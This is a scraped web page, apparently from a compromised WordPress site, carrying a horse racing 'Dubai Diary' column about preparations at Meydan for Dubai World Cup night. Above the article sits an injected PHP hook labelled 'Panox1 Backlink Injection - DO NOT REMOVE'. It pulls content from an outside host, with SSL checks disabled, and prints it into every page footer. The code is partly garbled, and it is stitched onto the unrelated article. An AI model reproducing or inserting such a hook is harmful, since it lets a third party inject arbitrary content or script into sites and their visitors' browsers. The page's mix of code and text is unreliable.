// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Dubai Diary: Wet start but action hotting up – Next Sports News

Dubai Diary: Wet start but action hotting up

[ad_1]

Desert Diary

RAIN is the last thing any visitor to Dubai expects, but that’s just what greeted work watchers at Meydan as dawn broke on Tuesday.

Proper rain too – not quite the torrents that forced the postponement on safety grounds of the second Dubai World Cup back in 1997, but heavy enough to make it pretty unpleasant, particularly for those of us who had packed for the trip on the assumption that it would be ‘scorchio’ all week, as it usually is.

Still, it was warm rain, and it didn’t last. And California Chrome and co were only yards away as TV crews, photographers and the written press were huddled together under a large white gazebo offering hot coffee and croissants,

You wouldn’t get that sort of service on the Limekilns, would you.

Varian variables

Roger Varian has been represented at Meydan by a ‘mini me’ until he arrives on Wednesday  morning to put the finishing touches to the preparation of Sheema Classic favourite Postponed, who has already had a race here, and Dubai Turf fancy Intilaaq, who arrived late last week.

Will Johnson, who is from a racing family and got his break when was drawn next to Varian at a dinner in his native Australia, is boyish, bespectacled and quietly confident, just as his boss was while assisting Michael Jarvis all those years.

On Tuesday Johnson  supervised the pair’s exercise with an unnamed lead horse on the Tapeta training track adjacent to the racecourse, where many of the Europeans are trained principally, and expressed himself more than happy with their well being.

He said: “They both just did a steady canter, in the same manner as yesterday. We are just keeping them to their routine ahead but they will exercise on grass on the course proper when Roger arrives.

“They are both settled in well and eating well, and Intilaaq’s transfer to the turf after Solow came out is hopefully a winning move. All his previous experience is on turf, and it fits in well for the rest of the season.”

Xyjet-360

Doctor Isabel Jiminez Acquarone and her patient XY Jet

  PICTURE: RP Graphics  

Mind over matter

There’s an unexpected UK angle to the challenge of the American-trained favourite XY Jet in the Dubai Golden Shaheen, for London-based equine science consultant Doctor Isabel Jiminez Acquarone has played a key role in the taming of the one-time wild horse.

Interviewed about last month’s Gulfstream winner by Laura King on Dubai Racing she described a horse who in his younger days “put lots of riders into hospital and was absolutely unrideable and unworkable”. So “incredibly difficult”, she said, that he unfortunately had to be gelded.

Acquarone leaves the physical conditioning of XY Jet to trainer Jorge Navarro and concentrates on the mental side, “getting into his mindset and seeing things from the horse’s perspective… right down to the very smallest detail”, as she put it.

It seems to be working too. She said: “His mindset is exactly where it should be…. He is now understood and in a happy place… He is very happy-go-lucky”.

“There isn’t a better place to be if you are horse than in Dubai,” she added.

New role for Doyle

Former trainer Jacquie Doyle, mother of jockeys James and Sophie, is a member of the press corps for the first time in Dubai this year.

Doyle admits to precious little previous journalistic experience but has been writing a weekly column for the local Gulf News and has stepped up the output this week. She is thoroughly enjoying it too.

Having taken 11 days out to be heavily involved with a fund raising and awareness horse ride through all seven emirates for the Pink Caravan breast cancer charity she is now firmly focused on World Cup night, when she reckons James has decent chances on Marking and Very Special but is disappointed he is without a ride in the big race itself.

There was also news of Sophie, whose career in the the States has taken off. She said: “Sophie has just bought herself a three-bed roomed house in Kentucky, about ten minutes from Keeneland, and she could never have done that if she had stayed at home.

“It took her a long time to get going there, but it’s paid off and she had 750 rides last year and 74 winners. I’m going out to stay with her when this is finished, but I’ll be coming back here again next winter.”

‘I amuse you?’

Art Sherman did not hesitate when asked by interviewer Rupert Bell who might play him in a film about California Chrome.

“Joe Pesci” he flashed back, referencing the diminutive Hollywood star of Goodfellas, Raging Bull and a string of other films of similar ilk.

Perfect casting one might say as Sherman, who is 78, five years older than Pesci, is also small of stature but big on character.

Nowhere near so menacing though, thankfully.

 

[ad_2]

Source link

Reply